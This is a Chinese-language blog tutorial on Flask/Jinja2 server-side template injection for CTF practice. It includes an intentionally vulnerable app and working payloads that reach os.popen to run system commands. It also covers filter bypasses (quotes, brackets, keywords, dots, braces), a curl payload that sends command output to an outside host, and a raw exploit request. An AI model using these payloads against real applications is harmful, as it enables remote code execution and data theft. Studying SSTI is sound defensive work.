python模板注入_Python模板注入(SSTI)深入学习
前言
一直對模板注入似懂非懂的,打算在這篇文章中深入的研究一下模板注入以及在ctf中bypass的辦法。
Learning
什么是模板&模板注入
小學的時候拿別人的好詞好句,套在我們自己的作文里,此時我們的作文就相當于模板,而別人的好詞好句就相當于傳遞進模板的內容。
那么什么是模板注入呢,當不正確的使用模板引擎進行渲染時,則會造成模板注入,比如:
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
Oops! That page doesn't exist.
%s
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
網上大部分所使用的request.url的方式已經不能導致模板注入了,在最新的flask版本中會自動對request.url進行urlencode,所以我稍微改了一下代碼,改成request.args傳參就可以了。
在上述代碼中,直接將用戶可控參數request.args.get('404_url')在模板中直接渲染并傳回頁面中,這種不正確的渲染方法會產生模板注入(SSTI)。
可以看到,頁面直接傳回了0而不是{{1-1}}。
How2use
在Python的ssti中,大部分是依靠基類->子類->危險函數的方式來利用ssti,接下來講幾個知識點。
__class__
萬物皆對象,而class用于返回該對象所屬的類,比如某個字符串,他的對象為字符串對象,而其所屬的類為。
__bases__
以元組的形式返回一個類所直接繼承的類。
__base__
以字符串返回一個類所直接繼承的類。
__mro__
返回解析方法調用的順序。
__subclasses__()
獲取類的所有子類。
__init__
所有自帶帶類都包含init方法,便于利用他當跳板來調用globals。
__globals__
function.__globals__,用于獲取function所處空間下可使用的module、方法以及所有變量。
在看完上邊這些自帶方法、成員變量后,可能有點懵,接下來看看是如何利用這些方法以及成員變量達到我們想要的目的的。
在SSTI中,我們要做的無非就兩個:
執行命令
獲取文件內容
所以我們所做的一切實際上都是在往這兩個結果靠攏。
測試代碼:
# -*- coding:utf8 -*-
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
Oops! That page doesn't exist.
%s
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
當我們訪問的頁面404時,會從get傳遞的參數中獲取404_url的值并且拼接進模板進行渲染。
接下來看看常規操作:
"".__class__
先使用該payload來獲取某個類,這里可以獲取到的是str類,實際上獲取到任何類都可以,因為我們都最終目的是要獲取到基類Object。
接下來我們可以通過bases或者mro來獲取到object基類。
"".__class__.__bases__
"".__class__.__mro__[1]
接下來獲取其所有子類:
"".__class__.__mro__[1].__subclasses__()
我們只需要尋找可能執行命令或者可以讀取文件的類就可以了,重點關注os/file這些關鍵字。
獲取到subclasses后,初步看了一下沒有能直接執行命令或者獲取文件內容的,接下來使用init.globals來看看有沒有os module或者其他的可以讀寫文件的。
{{"".__class__.__mro__[1].__subclasses__()[303].__init__.__globals__}}
這里我用burp來爆破303這個數字,從0爆破到一千,可以發現有很多個內置類都可以使用os這個模塊,于是就可以歡樂的執行系統命令了~
最終payload:
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
Bypass in CTF
當我們需要測試SSTI過濾了什么的時候,可以使用如下payload防止其500:
{{"要測試的字符"}},只需要看看要測試的字符是否返回在頁面中即可,下面分別說說對應各種過濾情況的解決辦法。
我們首先要知道,過濾了某種字符對我們的影響,接下來再對應尋找payload來利用。
過濾引號
回顧我們上面的payload,哪里使用了引號?
接下來思考對應的解決辦法,首先第一個引號的作用是什么,是為了引出基類,而任何數據結構都可以引出基類,所以這里可以直接使用數組代替,所以上述payload就變成了:
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
在fuzz的時候我發現,數據結構可以被替換為數組、字典,以及數字0。
再看看后面的引號是用來干嘛的,首先看看.init.globals返回的是什么類型的數據:
所以第一個引號就是獲取字典內對應索引的value,這里我們可以使用request.args來繞過此處引號的過濾。
request.args是flask中一個存儲著請求參數以及其值的字典,我們可以像這樣來引用他:
所以第二個引號的繞過方法即:
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os
后面的所有引號都可以使用該方法進行繞過。
還有另外一種繞過引號的辦法,即通過python自帶函數來繞過引號,這里使用的是chr()。
首先fuzz一下chr()函數在哪:
payload:
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
通過payload爆破subclasses,獲取某個subclasses中含有chr的類索引,可以看到爆破出來很多了,這里我隨便選一個。
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}
接著嘗試使用chr嘗試繞過后續所有的引號:
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}
過濾中括號
回看最初的payload,過濾中括號對我們影響最大的是什么,前邊兩個中括號都是為了從數組中取值,而后續的中括號實際是不必要的,globals["os"]可以替換為globals.os。
所以過濾了中括號實際上影響我們的只有從數組中取值,然而從數組中取值,而從數組中取值可以使用pop/getitem等數組自帶方法。
不過還是建議用getitem,因為pop會破壞數組的結構。
a[0]與a.getitem(0)的效果是一樣的,所以上述payload可以用此來繞過:
{{"".__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
過濾小括號
需要注意的一點是,如果題目過濾了小括號,那么我們就無法執行任何函數了,只能獲取一些敏感信息比如題目中的config。
因為如果要執行函數就必須使用小括號來傳參,目前我還沒找到能夠代替小括號進行傳參的辦法。
過濾關鍵字
主要看關鍵字是如何過濾的,如果只是替換為空,可以嘗試雙寫繞過,如果直接ban了,就可以使用字符串合并的方式進行繞過。
使用中括號的payload:
{{""["__cla"+"ss__"]}}
不使用中括號的payload:
{{"".__getattribute__("__cla"+"ss__")}}
這里主要使用了getattribute來獲取字典中的value,參數為key值。
第二種繞過過濾關鍵字的辦法之前也提到了,即使用request對象:
{"".__getattribute__(request.args.a)}}&a=__class__
第三種繞過關鍵字過濾的辦法即使用str原生函數:
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
以上即為str的原生函數,我們可以使用decode、replace等來繞過所過濾的關鍵字。
模塊閹割
在比賽環境中,經常會閹割掉一些內置函數,我們可以嘗試使用reload來重載。
在Python2中,reload是內置函數,而在Python3中,reload則為imp module下的函數,使用方法:
測試:
在比賽場景中我們一般是不能直接reload(os)的,因為可能當前類并沒有import os。
所以一般都是reload(__builtins__),這時可以重新載入builtins,此時builtins中被刪除的比如eval、import等就又都回來了。
reload()主要用于沙盒環境中,比如直接給你提供了一個shell的環境,SSTI中我還沒有成功使用過reload()。
過濾{{}}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
相當于把命令執行的結果外帶出去。
過濾點號
在Python環境中(Python2/Python3),我們可以使用訪問字典的方式來訪問函數/類等。
"".__class__等價于""["__class__"]
利用上述方式,可以繞過點號的過濾,懶得本地復現了,直接丟之前遇到點號過濾的時候繞過的筆記:
POST /?class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ HTTP/1.1
Host: 114.116.44.23:58470
Content-Length: 190
Accept: */*
Origin: http://114.116.44.23:58470
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://114.116.44.23:58470/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
nickname={{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
總結
基本的過濾也就只有這些了,剩下的待挖掘的其實就只剩下可以命令執行的module了。
參考
總結
以上是生活随笔為你收集整理的python模板注入_Python模板注入(SSTI)深入学习的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: Microsoft软件保护平台服务CPU
- 下一篇: Linux设备驱动-platform虚拟
